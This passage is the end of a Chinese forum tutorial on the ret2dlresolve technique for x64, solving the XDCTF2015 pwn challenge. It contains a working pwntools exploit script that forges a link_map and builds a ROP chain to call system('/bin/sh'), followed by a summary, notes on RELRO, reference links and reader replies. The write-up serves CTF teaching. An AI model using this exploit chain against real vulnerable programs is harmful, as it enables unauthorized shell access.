    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
 
    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行
 
    linkmap += p64(0)#l_ns
 
    # fake_linkmap_addr + 0x38, DT_SYMTAB
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
 
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap
 
fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)# 伪造link_map
 
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
                pop_rsi , 0 ,0 , # 使栈十六字节对齐,不然调用不了system
                pop_rdi , bss_stage + 0x48  , plt_load , bss_stage , 0 # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
)
 
r.recvuntil('Welcome to XDCTF2015~!\n'
r.sendline(payload) 
 
r.send(fake_link_map)
 
r.interactive()

image-20210310020518538

总结

这种方法用于在不能leak出libc时使用,虽然过程略显繁杂,但掌握之后对底层的认识加深也有不少作用。

 

此外,x32和x64我都没有讲到FULL_RELERO,是因为此时程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。所以我们没法利用dl_runtime_resolve来解析函数。

参考链接

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

 

https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/

 

https://blog.csdn.net/seaaseesa/article/details/104478081

相关文件及脚本

链接: https://pan.baidu.com/s/1Hjdc2TChA1fSBXTUfxp7AA 提取码: v7cc


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞7
打赏
分享
最新回复 (2)
雪    币: 119
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kuaishou 2021-3-31 21:58
2
0
学习一下
雪    币: 19584
活跃值: (60093)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2021-3-31 22:19
3
0
感谢分享!
游客
登录 | 注册 方可回帖
返回